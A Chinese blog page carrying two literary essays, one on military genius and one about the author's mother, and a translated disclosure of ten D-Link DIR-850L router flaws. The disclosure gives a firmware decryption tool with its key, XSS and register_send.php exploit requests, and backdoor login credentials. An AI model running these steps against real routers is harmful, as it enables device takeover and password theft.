作者: admin

  • 天才如何产生效力

    撰文 | 安德鲁・罗伯茨

    翻译 | 陆大鹏

    上个月的专栏,我写的是人类历史早期的军事领导力,试图解答1981年我参加剑桥大学入学考试的作文题:“一个人如何领导一百人?”本月我打算把故事讲到当今时代。我相信,火药时代(大致从16世纪末到美国南北战争结束)是军事史上的一个单独时期,在这期间战争和战场经历了两次重大变革。当然了,火药是好几个世纪之前在中国发明的,但直到西欧大陆的争霸战争中运用火枪和大炮,火药的力量才真正在全球层面体现出来。

    火药在大战略层面引发的第一场大变革是急剧降低了城堡和设防城市的重要性。正如17世纪40年代英国内战期间奥利弗・克伦威尔清楚地证明的,此时的军队有能力用火药和炮弹来轰击和摧毁城墙,于是巩固的要塞城市很快丧失了在军事行动中的核心地位。

    天才如何产生效力

    在此之前的城市是货真价实的“要塞”,而此后,占据城市的军事意义下降,同时占领军还要养活大量城市人口,所以有时占据城市不是优势,反而是噩梦。战争艺术曾局限于一系列围城和守城战,而如今转移到了开阔的战场。这种局面一直持续到1914年第一次世界大战的最初几场战役,那时堑壕和机枪又再度消解了军队的机动性。

    第二项变革是在战术方面,当然在战场上表现得最淋漓尽致。在过去,地形的重要性仅仅体现在指挥官不希望自己的士兵爬坡仰攻、被太阳耀花眼,而在火药时代,火枪和大炮能够在相当远的距离用致命火力横扫战场,所以地形地貌突然间变得非常重要,能够保护士兵避开敌人强大的火力。在这个时期,懂得利用地形来获取战术乃至战略优势的指挥官(最经典的楷模是马尔伯勒公爵、拿破仑・波拿巴和威灵顿公爵)往往能够战胜技艺欠佳的对手,打赢战斗,甚至赢得整个战役。

    所以,中国发明的火药,和历史上的其他伟大发明(如印刷术和互联网)一样,给世界带来了翻天覆地的变化。火药的主要成分硝石是一种化合物(硝酸钾),其生产手段令人作呕。成堆的人粪和/或鸟兽粪、草木灰、烂稻草和大量人兽尿液(越酸臭越好)被放在一起,咕噜咕噜地冒泡一年左右。由此产生的氨气会引发化学反应,生成硝酸钾这种非常高效的氧化剂,赋予其爆炸性。

    最好的硝石产于中国和印度,这解释了为什么拿破仑战争时代英国的火药质量比法国高得多。(硝石据说也有医用功效,老兵有时会往汤里撒一点火药,据说能治高血压。例如,拿破仑的高级军医,令人敬慕的拉雷男爵,在1809年阿斯佩恩―艾斯林战役之后用骑兵胸甲当锅,烧汤给伤员喝,汤里就放了火药。)

    军事历史学家和军事理论家J.F.C.富勒少将读了另一位军事历史学家巴塞尔・利德尔・哈特上尉1926年的西庇阿・阿非利加努斯传记(书名非常有挑衅性,叫做《比拿破仑更伟大》)之后,在给利德尔・哈特的信中写道:“伟大没有一个普遍适用的标准。”“说荷马比莎士比亚更伟大,或者莎士比亚胜过歌德,是荒谬的。他们当中每个人都可能是他所在时代的伟人。你可以说西庇阿比汉尼拔伟大,这是有道理的。但你不能说西庇阿比亚历山大大帝或者拿破仑或弗里德里希大王伟大。”

    这话当然正确,但我们还是能对同时代的军事家作比较,比如把纳撒尼尔・格林和乔治・华盛顿比较,或者把奈伊元帅和路易―尼古拉・达武比较。最伟大的军事家需要展现出成功的军事领导力的终极品质,也就是伟大的普鲁士军事理论家卡尔・冯・克劳塞维茨在他的开创性名著《战争论》中反复提到的那种品质:天才。

    我们考虑一下这个问题:伟大军事家是生来伟大,还是靠自己努力变得伟大,还是天赐其伟大?答案似乎既是三者皆有,也是一个都不成立。火药时代结束之前的时期,压迫性更强的社会制度决定了军事指挥权往往掌握在帝王或贵族手里,但死亡和对死亡的恐惧始终是民主的,能确保有才干的军人在战争时期比和平时期攀升更快,正如革命时期会涌现太平岁月罕见的天才领袖。是金子总会发光,即便在最墨守成规的社会里:罗伯特・克莱武(绰号“印度的克莱武”)曾是个债台高筑的文员,拿破仑曾是来自科西嘉的外来者,等等。

    打得是否高明和是不是在正义一方作战也没有必然联系。如果说有许多军事家站在野蛮和奴役一面,而不是为文明和自由效力,那是因为最终目标的正义性与军事天才没有关系。约翰・斯图尔特・密尔在他的名著《论自由》中写道:“有人说真理拥有一种谬误所没有的内在力量,或者真理必然战胜奴役和压迫。这只不过是一种无聊的感情用事罢了。”同样,24磅大炮或者马提尼-亨利步枪也和正义与否无关。

    伟大的法国作家安德烈・马尔罗曾说,战争的目的是尽力确保金属碎片刺穿人肉。这是对伟大军事家的领导艺术的一个严苛但基本上公正的概括,至少在战前机动完成之后是这样。在一些比较罕见的时候,单是战前机动就足以赢得胜利,比如1805年10月拿破仑几乎一弹未发就占领了奥地利城市乌尔姆。

    天才如何产生效力

    20世纪显然是人类历史上最残暴的一个世纪,原因之一是,据估计20世纪死于暴力的人数远远超过之前所有世纪的总和。从1931年日本入侵中国到1945年8月广岛和长崎遭到原子弹轰炸,共有超过1500万中国人死亡。这一点是很多西方人从来没有学到过,或者早已忘记的。

    伟大的普鲁士陆军总参谋长赫尔穆特・冯・毛奇(“老毛奇”)在19世纪末的军事行动很奇怪地预示了20世纪的战争,因为威廉二世皇帝在1914年第一次世界大战开始阶段希望重演毛奇在1870―1871年普法战争中的伟大胜利。1861―1865年美国内战后期的武器――堑壕、铁路、带刺铁丝网,尤其是机枪――都将在第一次世界大战中达到巅峰,人类天生的发明精神被用于自我毁灭。(据说毛奇一辈子只笑过两次。第一次是有人告诉他,比利时的伟大要塞列日固若金汤,德军不可能攻破它;第二次是有人告诉他,他的岳母出乎意料地去世了。)

    军事天才的一个有趣的地方是,不同时代、不同地理区域都产生了军事天才。尽管过去大约五百年里全世界主要的战场是欧洲,很多军事天才出自欧洲以外。如恰卡・祖鲁、山下奉文和武元甲这样的军事家表明,军事才华并没有种族或地理边界。

    20世纪上半叶的最伟大军事家当中,自然有很多人参加了给20世纪造成莫大创伤的两次灾难性全球冲突。海因茨・古德里安、埃里希・冯・曼
    施泰因、埃尔温・隆美尔、格尔德・冯・伦德施泰特、哈索・冯・曼陀菲尔等德军将领的水准让我们觉得,盟军是多么幸运!因为虽然德国国防军将领的水平一般来讲比盟军将领要高,但阿道夫・希特勒本人在战略上是个笨蛋,尽管他自诩为“史上最伟大的军事家”。

    乔治・C.马歇尔、艾伦・布鲁克爵士/将军(后来的艾伦布鲁克勋爵),甚至“三巨头”(温斯顿・丘吉尔、约瑟夫・斯大林和罗斯福总统)总的来讲不是战场指挥官(与战场指挥官相对的,是远离前线、甚至身在不同国家的参谋长们),但有理由称这几位为伟大军事家,因为他们在德黑兰和雅尔塔筹划了第二次世界大战的胜利大战略。这几位一般不被算作军事领袖,但他们对打赢战争的整体影响力远远超过在阿拉曼作战的伯纳德・蒙哥马利、在斯大林格勒的格奥尔基・朱可夫和库尔斯克战役的科涅夫元帅。

    那么,令史上最伟大军事家们脱颖而出的,究竟是哪些品质?其中一位,斐迪南・福煦元帅于1919年的著作《准则与判断》中写道:“有权指挥从来不意味着有权保持神秘。”伟大军事家的品质不是秘密,而是公开表现出来的,并且在许多个世纪里变化甚微,所以能在本文中对其加以分析。尽管发生了技术变革、火药时代来了又去、机枪出现、制空权变得重要,优秀军事家的品质却令人惊诧地始终如一。海因茨・古德里安会认可以色列领袖约书亚的勇猛大胆;德怀特・艾森豪威尔会仰慕米底人居鲁士令人生畏的强大力量;罗伯特・E.李会赞赏威灵顿公爵的注重细节,或者亚历山大大帝的卓越战术能力。

    R.F.C.富勒的笔友(有时是他的拥护者)巴塞尔・利德尔・哈特在他的1944年著作《对战争的思考》中写道:“思想的积极主动和强有力的个性,或者说坚定的决心,这两种品质对战争指挥的力量特别重要。它们实际上是伟大军事家的标志。”

    思想的积极主动和强有力的个性固然重要,但同样重要的是:瞬间把握局势的能力、激励和鼓舞陌生人的能力、对时机的敏锐掌握、观察力、制造出其不意的能力、搞好公共关系的本领、将战略与战术紧密结合的天赋、推测对手意图的能力、维持主动权的能力,以及如巴顿将军于1944年10月所写,“鼓励自认为已经失败的人,让他相信自己并未失败”的能力。

    天才如何产生效力

    许多最成功的领袖的另一个共同点是,他们对历史兴趣盎然。他们往往阅读过大量历史和传记,经常汲取历史的教训,有的退休之后还亲自撰写史书。拿破仑皇帝在大西洋中央的弹丸之地圣赫勒拿岛流亡时,撰写了一部高水平的尤利乌斯・恺撒传记。恺撒和亚历山大大帝一样,都是拿破仑多年的偶像。今年早些时候,我带领一大群中国游客参观了巴黎、土伦和滑铁卢的拿破仑名胜(我很享受这段经历,很乐意再次体验),他们渴望了解历史上最伟大的领袖之一如何激励他的民族。

    我们从一个名胜走到另一个,我能够沿途指出拿破仑的天才如何产生效力,尤其是下列品质的重要性:一丝不苟的计划、研究地形地貌、绝佳的时机把握、沉着冷静、注重纪律和训练、理解普通士兵的心理以创建团队精神、发表激励人心的演讲和宣言、控制新闻传播、学习和改进其他人的现代战术思想、对恰当的人提出恰当的问题、深度学习和研究历史、若有必要就冷酷无情、运用个人的魅力、在无法想象的重压之下仍然保持冷静(尤其是似乎即将战败的时候)、好运气、几乎到了强迫症程度的关注细节、严格管理自己的情绪,最重要的是在战场的关键点运用临时的兵力优势。有了上述这些品质,拿破仑能够领导不仅是一百人,而是数百万人。

    我希望,三十六年前我若是写出这篇文章,能够通过剑桥大学的入学考试!

  • 那喋喋不休的我

    那喋喋不休的我

    中国红穗花

    我的茉莉花,被蜗牛吃掉了。园艺师傅说,天黑的时候,黏瘩瘩的牛儿们都会出来,你就拿个手电筒照他,一个一个抓起来。

    “烤来吃?”我问。哎,“移民”屏东若问我想念什么――我想念烤得香喷喷、热滋滋的法国蜗牛啦。

    他做出恶心的表情。

    师傅送给我一株开着细碎红花的小树,也顺手帮我种下了。等他走了,我就端了张椅子,坐在小树前,趁着夕阳温慢的光,仔仔细细地端详。

    花形可真别致,一朵花像是美劳课用皱纹纸剪出来的细丝彩带扎成一束,有如红色的穗条。马上查阅,神奇,这花的英文俗名竟然就叫“中国红穗花”。风一吹,细细的花穗就像彩带飞舞,也难怪叫红彩木

    红彩木,也叫红木,是金缕梅科――慢点,枸杞也叫枸,难道他们是亲戚吗?可是枸杞是茄科,不是金缕梅科啊。

    我一手拿着手机读数据,一手摸叶子和茎,一一比对。

    小枝条有锈褐色星状毛。对。

    叶互生,叶片卵形,基部钝形,全缘或细锯齿缘,对。

    花,三至八朵簇生小侧枝端,对。

    苞片条形,长约0.3公分,对……

    你听不懂

    认识一株植物,我像关西摸骨师一样一节一节摸下去。然后开始走神,突然想起什么就对着红彩木笑出声来。你若是在一旁帮我浇水,这时就会说,“傻瓜啊,什么事那么好笑?”

    我可能不会理睬你,因为,没什么学问的你,我想的,你反正听不懂,说起来好麻烦。

    为什么做子女的永远都认定那身为父母的绝对听不懂,因此就懒得跟他们说心里在想的事情?做父母的又是否早就知道,当初做牛做马让儿女受高等教育,最后会换得他们倒过来俯视你说,“哎呀你听不懂”?

    此刻,我在阳台这一头与红穗花相对而坐,噗哧一笑,你坐在阳台那一头,柔弱地垂着头,锁在自己的沉默里。

    你塞着耳机,给你放的是黄梅调《梁山伯与祝英台》。让你听年轻时熟悉的音乐,或许能安定你惶惑不安的心,或许能勾回你断了线的记忆,使你不觉得世界那么荒凉;或许熟悉的音乐是一条温柔得令人疼痛的绳索,勉强能拉住你,让你不致于独自直直坠落黑色的悬崖。

    你静悄悄地坐在那里,我看见你的背影白发。此刻我真正渴望的,是你突然转过头来,认真而专注地看着我,听我跟你喋喋不休,喋喋不休,把这一辈子曾经嫌弃你不懂而不想跟你说的话,一直说、一直说、一直说……

    七天七夜竹

    好,那么就让我告诉你刚刚为什么突然发笑。五百年前有个读书人,叫做王阳明,阳光的阳,明白的明。他从朱熹那儿知道“致知”必须透过“格物”。二十一岁那一年,有一天他看到院子里有竹子,就让朋友先去看,那个朋友盯着竹子看了三天三夜,什么体会也没有,反倒病倒了。于是王阳明搬了条凳子守在竹子前面,盯了七天七夜,也病倒了。

    夜凉霜重,我猜他得了重感冒,流着鼻涕打着喷嚏回房倒下。最戏剧的是,王阳明因为格竹格不出什么深奥的道理,对尊敬的老师朱熹失望,反而开发了新的理论:原来知识不靠外求,大千世界全在一心之内。他因此开创了心学

    其实,朱老师说的是,“众物必有表里精粗,一草一木,皆涵至理。”王阳明把这个“至理”认知为圣人的道理,而不是外在客观的知识。丁肇中说,“这位先生明明是把探察外界误认为探讨自己。”王阳明应该做的不是坐在竹前空想,而是动手,譬如先亲手种竹,观察竹怎么生长;譬如把叶子摘下放到显微镜下面去细看。“绝不是袖手旁观就可以得到知识的。”到今天中国学生都倾向于坐着动脑,不喜欢站起来动手,丁说,就是王阳明这种思想的影响。

    喔,丁肇中就是那个得到诺贝尔奖的物理学家。在日内瓦他请我在湖边吃饭,很可爱的人。

    你还有兴趣听下去吗?

    我坐在那红彩木前,其实是一心多用的。一面用手在给红彩木做“体检”,认识它的树形、叶形、枝形、花序、花瓣的质地,同时脑子里流过很多、很多的念头。我相信你也是。譬如我们读书时,你每天早上五点钟就摸黑起来帮我们做便当,手上在做便当,你的脑子一定是千头万绪转动――要到哪里标会把学费凑足、老大不爱读书怎么办、台风把屋瓦吹跑了、养猪补贴点家用如何……

    那喋喋不休的我

    有一天王阳明去山中郊游,朋友指着峭壁岩石里长出来的花树挑衅说,你老兄总是说“天下无心外之物,如此花树,在深山中自开自落,于我心亦何相关?”王阳明就回答:“你未看此花时,此花与汝心同归于寂;你来看此花时,则此花颜色一时明白起来,便知此花不在你的心外。”

    你知道这多有意思吗?“心”这个东西,究竟是什么,到今天科学的发展如此进步,人类其实还搞不清楚。哲学家和神经学家吵个不停;神经学家说,什么心,不过就是那一团黏黏糊糊的软肉,叫做脑,里头埋着很多神经,主导人的感情和思维。哲学家说,“那你告诉我,如果把脑神经全部复制了,做出来的,就是‘人’吗?你敢称他‘人’吗?人工智能即使做到百分之百――你敢叫它‘人’吗?”

    你还听吗,美君,我可以继续说给你听吗?

    然后我就想到庄子和一个法国人叫做笛卡儿。庄周梦蝶你是知道的。他梦见自己是一只蝴蝶,醒来之后问自己说,到底是我这个人在梦里变蝴蝶,还是倒过来,其实我是蝴蝶,梦见我是人,而我现在其实走在真我―蝴蝶―的梦里?庄子在问的当然不是蝴蝶不蝴蝶,而是人的存在本质究竟是什么的问题。笛卡儿比王阳明晚生一百多年,他想破头的问题是:我怎么证明我存在?折腾多年最后找到答案了:我有念头,就证明我有思维,有思维,就证明我存在。

    然后呢,美君,我在检查红彩木的穗花瓣的时候,回头看了你一下,想看看你的耳机是不是被你扯下来了,然后我的念头就转了方向:如果有念头、有思维,证明我存在,那么反过来问:当我没了念头、没了思维,是否就证明了我的不
    存在?

    可是,没了念头和思维,就是我死了,没有一个死人会跟你宣布“我死了”,这件事逻辑上不可能发生,所以存在可以证明,但是不存在无法证明,对吧,美君?诡辩家可以说,人是永生的,因为他永远不能宣称他的不存在。

    回不去

    我走到你身旁,跪在地板上,摘下你的耳机,塞进我自己耳里,听听看声音是不是正常;“梁祝”已经唱到悲怆的楼台会了,我不知道你是不是真的在听,是不是真的明白这是“梁祝”,你知不知道你的女儿在你身旁。此刻我有点儿微微的悲从中来,跟你从红彩木说到王阳明说到笛卡儿说到神经学――如果在你有念头、有思维的时光里我就跟你这样喋喋不休,你用你明亮的眼睛看着我,那该多好,可是,怎么就回不去了呢……

    图片:龙应台摄影

  • D-link 10个0Day漏洞分析(附细节)

    安全研究人员Pierre Kim日前披露D-Link DIR 850LAC1200型双频千兆云路由器被曝10个安全问题,包括XSS攻击,缺乏应有的固件保护,后门和root提权等。这10个安全问题分别是:

    Firmware。对firmware缺乏足够的安全保护。 XSS漏洞。攻击者可以利用XSS攻击来获取已认证用户的认证cookie。

    Retrieving admin password。攻击者可以提取admin的口令,利用MyDlink云协议添加攻击者帐号到路由器,来获取路由器的控制权;

    Weak Cloud protocol。MyDlink协议基于TCP,路由器和MyDlink账户之间的通信没有加密

    Backdoor access。存在后门,攻击者可以获取root权限。

    Stunnel private keys。加密私钥硬编码在固件中,攻击者提取后可以执行中间人攻击。

    Nonce bruteforcing for DNS configuration。攻击者可以通过非认证的HTTP请求,转发流量等方式改变路由器的DNS配置。

    Weak files permission and credentials stored in cleartext。路由器明文保存证书信息。

    Pre-Auth RCEs as root (L2)。DHCP客户端存在被命令注入的可能,攻击者可以用来获取设备的root权限。

    DoS against some daemons。攻击者可以远程攻击路由器上运行的守护进程和服务。

    以上漏洞存在于Dlink 850L revA(DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)和Dlink 850L revB(DIR850LB1_FW207WWb05.bin)中的至少一个固件中。

    Dlink 850L的最新固件镜像revA (DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)未进行保护,攻击者可以伪造一个新的固件镜像。

    Dlink 850L的最新固件revB (DIR850LB1_FW207WWb05.bin,DIR850L_REVB_FW207WWb05_h1ke_beta1.bin和DIR850LB1 FW208WWb02.bin)用硬编码密码进行保护的。

    研究者用下面的程序来解密固件镜像。

    /*   * Simple tool to decrypt D-LINK DIR-850L REVB firmwares   *  * $ gcc -o revbdec revbdec.c  * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted  */  #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h>  #define USAGE "Usage: decimg <filename> <key>/n"  int main(int    argc,          char   **argv) {         int     i, fi;         int     fo = STDOUT_FILENO, fe = STDERR_FILENO;          if (argc != 3)         {                 write(fe, USAGE, strlen(USAGE));                 return (EXIT_FAILURE);         }          if ((fi = open(argv[1], O_RDONLY)) == -1)         {                 perror("open");                 write(fe, USAGE, strlen(USAGE));                 return (EXIT_FAILURE);         }          const char *key = argv[2];         int kl = strlen(key);          i = 0;         while (1)         {                 char buffer[4096];                 int j, len;                 len = read(fi, buffer, 4096);                 if (len <= 0)                         break;                 for (j = 0; j < len; j++) {                         buffer[j] ^= (i + j) % 0xFB + 1;                         buffer[j] ^= key[(i + j) % kl];                 }                 write(fo, buffer, len);                 i += len;         }         return (EXIT_SUCCESS); } 
    user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted  DECIMAL       HEXADECIMAL     DESCRIPTION -------------------------------------------------------------------------------- 0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1" 593           0x251           LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes 10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes 1704052       0x1A0074        PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes 1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29 

    通过以上我们可以发现,并没有对固件镜像进行保护。

    下面披露上面提到漏洞的相关细节。

    XSS漏洞细节

    通过分析/htdocs/web文件夹下的php文件,我们可以发现XSS漏洞的细节。

    攻击者通过XSS漏洞来写去认证用户的认证cookies。

    /htdocs/web/wpsacts.php文件:

    user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>' http://ip:port/wpsacts.php <?xml version="1.0" encoding="utf-8"?> <wpsreport>         <action><a></action>         <result></result>         <reason></reason> </wpsreport>  user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php [..] <wpsreport>         <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/shareport.php文件中的XSS代码:

    [...]          <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/sitesurvey.php文件中的XSS代码:

    [...]         <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/wandetect.php文件中的XSS代码:

    [...]         <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/wpsacts.php文件中的XSS代码:

    [...]         <action><?echo $_POST["action"];?></action> [...] 

    Retrieving admin password细节

    网页 http://ip_of_router/register_send.php 并不对用户进行认证,攻击者可以利用该网页的漏洞获取设备的控制权。

    攻击场景:

    攻击者可以用 /register_send.php 页面进行以下操作:

    创建MyDlink Cloud账户;

    利用创建的账户登入设备;

    把设备加入账户中。

    攻击场景重现:

    用页面 http://ip_of_router/register_send.php 作为攻击者和远程Dlink API之间的接口。该页面可以提取明文保存的用户口令。

    $devpasswd = query("/device/account/entry/password"); <- $devpasswd contains the password $action = $_POST["act"];                                 of the device 

    178 //sign up 179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180                    "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181                    "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 182  183 $post_url_signup = "/signin/"; 184  185 $action_signup = "signup"; 186  187 //sign in        188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189             "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 190  191 $post_url_signin = "/account/?signin"; 192  193 $action_signin = "signin"; 194  195 //add dev (bind device) 196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197             "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 198  199 $post_url_adddev = "/account/?add"; 200  201 $action_adddev = "adddev"; 202  203 //main start 204 if($action == $action_signup)                    <---- first request 205 { 206         $post_str = $post_str_signup; 207         $post_url = $post_url_signup; 208         $withcookie = "";   //signup dont need cookie info 209 } 210 else if($action == $action_signin)               <---- second request 211 { 212         $post_str = $post_str_signin; 213         $post_url = $post_url_signin; 214         $withcookie = "/r/nCookie: lang=en; mydlink=pr2c11jl60i21v9t5go2fvcve2;"; 215 } 216 else if($action == $action_adddev)               <---- 3rd request 217 { 218         $post_str = $post_str_adddev; 219         $post_url = $post_url_adddev; 220 } 

    向路由器发送3个HTTP请求来利用该漏洞:

    第一个请求 (signup)会在MyDlink服务上创建一个用户:

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php  <?xml version="1.0"?> <register_send>    <result>success</result>    <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

    该请求被发送给MyDlink Cloud APIs:

    179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180                    "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181                    "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 

    第二个请求 (signin)路由器会将该账户与新创建的用户相关联,但不激活:

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php  <?xml version="1.0"?> <register_send>   <result>success</result>   <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

    该请求被发送给 MyDlink Cloud APIs:

    188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189             "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 

    第三个请求是把设备和dlink服务相管理,并发送设备口令给远程API。

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&lang=en' http://ip/register_send.php  <?xml version="1.0"?> <register_send>   <result>success</result>   <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

    该请求被发送给 MyDlink Cloud APIs:

    196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197             "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 

    用注册的邮箱和口令登录 http://mydlink.com/,登录后看到的通用管理选项:

    D-link 10个0Day漏洞分析(附细节)

    D-link 10个0Day漏洞分析(附细节)D-link 10个0Day漏洞分析(附细节)D-link 10个0Day漏洞分析(附细节)

    通过分析这些HTTP请求,我们可以获取目标路由器的信息。

    D-link 10个0Day漏洞分析(附细节)

    PUT (PUT IDENTIFIER_OF_THE_ROUTER)命令提供了该设备的明文口令。

    D-lin
k 10个0Day漏洞分析(附细节)

    这张图的最后是一个 GET 请求

    https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&access_token=ACCESS_TOKEN 

    POST数据:

    {"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]} 

    回应是明文(含有设备口令):

    {"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}

    GET 请求可以用来提取口令:

    D-link 10个0Day漏洞分析(附细节)

    GET请求:

    GET https://eu.mydlink.com/device/devices/DEVICEID?=RANDOM_NUMBER&access_token=ACCESS_TOKEN HTTP/1.1

    回应是一样的,之前的明文口令和新的口令(admin口令):

    {"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}

    最后一个请求是询问关于浏览器和远程路由器之间的通道的:

    D-link 10个0Day漏洞分析(附细节)

    发送给 /tssm/tssml.php 的请求请求远程云平台转发留到到设备号3XXXXXXX的设备。攻击者可以通过云平台获取新建立的TCP通道的信息:

    https://eu.mydlink.com/tssm/tssml.php?id=EDITED&no=EDITED_DEVICE_ID&type=1&state=3&status=1&ctype=4&browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/20100101+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&_=EDITED_RANDOM_VALUE

    监听 127.0.0.1:50453/tcp (HTTP) 和 127.0.0.1:50454/tcp (HTTP over SSL):

    D-link 10个0Day漏洞分析(附细节)

    访问 http://127.0.0.1:50453/。 我们发现流量通过云协议被发送到远程路由器。

    D-link 10个0Day漏洞分析(附细节)

    利用该泄露的口令,攻击者可以黑掉路由器,并把该路由器的固件更新为留有后门的固件。

    D-link 10个0Day漏洞分析(附细节)

    Weak Cloud protocol

    ​MyDlink Cloud协议没有加密机制,只使用了基本的TCP中继系统。所有的TCP流量都没有进行适当的加密。

    理想状态下,用户可以利用rgbin来修改设备的MAC地址:

    # /usr/sbin/devdata dump # will dump all the configuration # /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface

    该程序只覆写 /dev/mtdblock/4 的文件

    该漏洞会影响DLINK的支持MyDlink cloud protocol的NAS,路由器,摄像头等。

    ​ wireshark抓包(明文和自签名流量) :

    D-link 10个0Day漏洞分析(附细节)D-link 10个0Day漏洞分析(附细节)

    Backdoor access细节

    revB镜像中,如果重设设备, /etc/init0.d/S80mfcd.sh init脚本 mfcd 开始运行:

    mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
    user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh #!/bin/sh echo [$0]: $1 ... > /dev/console orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`  entn=`devdata get -e ALWAYS_TN` if [ "$1" = "start" ] && [ "$entn" = "1" ]; then         mfcd -i br0 -t 99999999999999999999999999999 &         exit fi  if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then          if [ -f "/usr/sbin/login" ]; then                 image_sign=`cat /etc/config/image_sign`                 mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &         else                 mfcd &         fi  else         killall mfcd fi

    攻击者可以获取设备的root shell权限:

